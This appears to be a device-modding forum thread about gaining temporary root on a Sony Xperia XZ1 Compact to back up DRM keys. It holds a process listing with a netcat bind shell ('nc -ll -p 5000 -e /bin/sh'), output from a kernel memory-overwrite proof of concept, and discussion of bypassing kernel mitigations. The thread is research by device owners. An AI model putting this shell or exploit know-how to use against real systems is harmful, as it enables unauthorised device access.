43 0 [kworker/1:1]
44 0 [cfg80211]
45 0 [kworker/0:1]
71 0 [power_off_alarm]
72 0 [kswapd0]
73 0 [vmstat]
74 0 [fsnotify_mark]
75 0 [ecryptfs-kthrea]
107 0 [glink_ssr_wq]
108 0 [glink_lbsrv]
109 0 [glink_xprt_wq]
110 0 [apr_driver]
111 0 [glink_pkt_wq]
113 0 [diag_real_time_]
114 0 [diag_wq]
115 0 [DIAG_USB_diag]
116 0 [diag_cntl_wq]
117 0 [diag_dci_wq]
118 0 [DIAG_SMD_MODEM_]
119 0 [DIAG_SMD_MODEM_]
120 0 [DIAG_SMD_MODEM_]
121 0 [DIAG_SMD_MODEM_]
122 0 [DIAG_SMD_MODEM_]
123 0 [DIAG_SMD_LPASS_]
124 0 [DIAG_SMD_LPASS_]
125 0 [DIAG_SMD_LPASS_]
126 0 [DIAG_SMD_LPASS_]
127 0 [DIAG_SMD_LPASS_]
128 0 [DIAG_SMD_WCNSS_]
129 0 [DIAG_SMD_WCNSS_]
130 0 [DIAG_SMD_WCNSS_]
131 0 [DIAG_SMD_WCNSS_]
132 0 [DIAG_SMD_WCNSS_]
133 0 [DIAG_SMD_SENSOR]
134 0 [DIAG_SMD_SENSOR]
135 0 [DIAG_SMD_SENSOR]
136 0 [DIAG_SMD_SENSOR]
137 0 [DIAG_SMD_SENSOR]
138 0 [DIAG_SMD_DIAG_C]
139 0 [DIAG_SMD_DIAG_D]
140 0 [DIAG_SMD_DIAG_C]
141 0 [DIAG_SMD_DIAG_D]
142 0 [DIAG_SMD_DIAG_D]
143 0 [DIAG_SMD_CDSP_C]
144 0 [DIAG_SMD_CDSP_D]
145 0 [DIAG_SMD_CDSP_C]
146 0 [DIAG_SMD_CDSP_D]
147 0 [DIAG_SMD_CDSP_D]
148 0 [DIAG_SOCKMODEM_]
149 0 [DIAG_SOCKMODEM_]
150 0 [DIAG_SOCKMODEM_]
151 0 [DIAG_SOCKMODEM_]
152 0 [DIAG_SOCKMODEM_]
153 0 [DIAG_SOCKLPASS_]
154 0 [DIAG_SOCKLPASS_]
155 0 [DIAG_SOCKLPASS_]
156 0 [DIAG_SOCKLPASS_]
157 0 [DIAG_SOCKLPASS_]
158 0 [DIAG_SOCKWCNSS_]
159 0 [DIAG_SOCKWCNSS_]
160 0 [DIAG_SOCKWCNSS_]
161 0 [DIAG_SOCKWCNSS_]
162 0 [DIAG_SOCKWCNSS_]
163 0 [DIAG_SOCKSENSOR]
164 0 [DIAG_SOCKSENSOR]
165 0 [DIAG_SOCKSENSOR]
166 0 [DIAG_SOCKSENSOR]
167 0 [DIAG_SOCKSENSOR]
168 0 [DIAG_SOCKDIAG_C]
169 0 [DIAG_SOCKDIAG_D]
170 0 [DIAG_SOCKDIAG_C]
171 0 [DIAG_SOCKDIAG_D]
172 0 [DIAG_SOCKDIAG_D]
173 0 [DIAG_SOCKCDSP_C]
174 0 [DIAG_SOCKCDSP_D]
175 0 [DIAG_SOCKCDSP_C]
176 0 [DIAG_SOCKCDSP_D]
177 0 [DIAG_SOCKCDSP_D]
178 0 [DIAG_CNTL_SOCKE]
179 0 [DIAG_GLINK_DIAG]
180 0 [DIAG_GLINK_DIAG]
181 0 [DIAG_GLINK_DIAG]
182 0 [DIAG_GLINK_DIAG]
183 0 [DIAG_GLINK_DIAG]
185 0 [DIAG_USB_diag_m]
186 0 [kgsl-workqueue]
187 0 [kgsl-mementry]
188 0 [kgsl_worker_thr]
189 0 [bioset]
190 0 [bioset]
191 0 [bioset]
192 0 [bioset]
193 0 [bioset]
194 0 [bioset]
195 0 [bioset]
196 0 [bioset]
197 0 [bioset]
198 0 [bioset]
199 0 [bioset]
200 0 [bioset]
201 0 [bioset]
202 0 [bioset]
203 0 [bioset]
204 0 [bioset]
205 0 [bioset]
206 0 [bioset]
207 0 [bioset]
208 0 [bioset]
209 0 [bioset]
210 0 [bioset]
211 0 [bioset]
212 0 [bioset]
213 0 [bioset]
214 0 [memory_wq]
215 0 [qcrypto_seq_res]
216 0 [bond0]
217 0 [sharedmem_qmi_w]
218 0 [qmi_hndl0000000]
219 0 [msm_ipc_router]
220 0 [uether]
221 0 [k_ipa_usb]
222 0 [dm_bufio_cache]
223 0 [binder]
224 0 [hwbinder]
225 0 [vndbinder]
226 0 [uaudio_svc]
227 0 [qmi_hndl0000000]
228 0 [ipv6_addrconf]
229 0 [kworker/u4:2]
238 0 [msm_perf:events]
239 0 [rq_stats]
340 0 nc -ll -p 5000 -e /bin/sh
341 0 /bin/sh
344 0 ps
cat /proc/version
Linux version 4.4.74-perf+ ([email protected]) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Aug 9 16:09:57 2017
cat /proc/cpuinfo
Processor : AArch64 Processor rev 0 (aarch64)
processor : 0
BogoMIPS : 125.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x1
CPU part : 0xd07
CPU revision : 0
processor : 1
BogoMIPS : 125.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x1
CPU part : 0xd07
CPU revision : 0
Hardware : Qualcomm Technologies, Inc Unknown CPU
Tried also again the inotify/rename poc, this time built statically for linux:
Code:
/exploit-aarch64-linux-gnu
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100��1����"
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : b, event->len : 16
Detected overwrite!!!
callrename done.
So it works also in qemu, running the kernel binary from the firmware (needed few binary patches to avoid hangs due to missing hw features), so this makes a very good playground for real exploit implementation - kernel offsets (after kaslr bypass) should hopefully match with the real device.
There is still a lot of work to do - anybody willing to help?
I'm sorry I can't help because I lack the skills to, but I will sure pay the amount I pledged in the DRM key backup/restore bounty thread, if you manage to pull it off and allow also non developers to do it!
Here an advise: anybody who likes to keep a possibility to backup drm keys should disable all updates so that the fw version stays at the one which a phone was bought with.
It is possible that Sony would disable downgrades since particular version - that is after all a google's recommendation for vendors:
google-urges-smartphone-partners-support-android-oreos-rollback-protection
And download the oldest fw version available (do not care about customization not matching your phone original) to have it handy in case Sony pulls the fw off.
It would be useful if anybody who already upgraded to the latest fw version tried if it is still possible to downgrade for example to the 47.1.A.2.281 discussed here and report the result.
@j4nn: Are all your observations so far specific to the XZ1C? As the exploit itself isn't inherent to the XZ1C, might it be worthwhile to crosspost this to the XZ1 and XZ1 Premium forums? The more eyeballs you can get on this idea, the better.
right, it may be useful - the mentioned vulnerabilities are not hardware dependent. In case of xz1 and xz1p, the same kernel source branch is shared differing only in kernel defconfig, changing hw dependent options.
Basically any oreo device which could be flashed with fw containing the mentioned CVEs could possibly use them to get temp root.
But I have only xz1c, this is what I can test with, so that's why it is posted here.
Feel free to link to this thread to get possibly some devs who might help to implement the exploit(s).
An interesting find: the kernel from 47.1.A.2.281 fw has following option in it's config:
CONFIG_CC_STACKPROTECTOR_REGULAR=y
It seems that this is changed to STRONG variant since 47.1.A.3.xxx firmwares.
That means stack based kernel exploits could still be possible with the 2.281 fw - for comparison in linux kernel:
- regular: 1015 of 36110 functions are stack-protected (2.81%)
- strong: 7401 of 36110 functions are stack-protected (20.5%)
Just for reference - following options are enabled:
- CONFIG_ARM64_SW_TTBR0_PAN: Privileged Access Never (PAN) sw emulation
- CONFIG_DEBUG_RODATA: Make kernel text and rodata read-only (Post-init read-only memory)
- CONFIG_RANDOMIZE_BASE: Randomize the address of the kernel image (KASLR)
- CONFIG_HARDENED_USERCOPY
- Privileged Execute Never (PXN) is obviously integrated by default (preventing user code execution with privilege mode)
j4nn said:
right, it may be useful - the mentioned vulnerabilities are not hardware dependent. In case of xz1 and xz1p, the same kernel source branch is shared differing only in kernel defconfig, changing hw dependent options.
Basically any oreo device which could be flashed with fw containing the mentioned CVEs could possibly use them to get temp root.
But I have only xz1c, this is what I can test with, so that's why it is posted here.
Feel free to link to this thread to get possibly some devs who might help to implement the exploit(s).
Click to expand...
Click to collapse
When you talk about xz1p is the Sony Xperia XZ Premium , no?
SilverGamer_YT said:
When you talk about xz1p is the Sony Xperia XZ Premium , no?
Click to expand...
Click to collapse
Yes, same Yoshino platform (even though maybe it would be a tad easier to work on Premium, due to it having nougat too)
mirhl said:
Yes, same Yoshino platform (even though maybe it would be a tad easier to work on Premium, due to it having nougat too)
Click to expand...
Click to collapse
If we have already unlocked bootloader we cannot backup our drmkeys
@SilverGamer_YT, obviously no way if already lost by official unlock
mirhl said:
Yes, same Yoshino platform (even though maybe it would be a tad easier to work on Premium, due to it having nougat too)
Click to expand...
Click to collapse
that's right, but on the other hand, useful only for that device.
I am wondering - there is no temp root yet for the Premium if it had nougat?
Lowest patch level I could find is April (compared to August of XZ1)... Which a pretty hard target still.
@mirhl: it's strange that temp root is still not available for xz premium, considering it has nougat fw available.
The kernel is v4.4.21 in that fw and it does not have hardened usercopy, does not have privileged access never and also uses only regular stack protector. So it really would be easier, but it would not help devices that have only oreo fw (and only newer kernel with more mitigations integrated).
I feel we may be able to get temp root.
But what about that TA/drm keys backup?
Is here anybody who knows for sure that having temp root is enough?
Would not we be faced then with another security feature like trust zone / trusted execution environment from which it would not be possible to extract the keys?
I mean exploiting linux kernel is one thing, but exploiting TEE would probably be lot harder (if not impossible).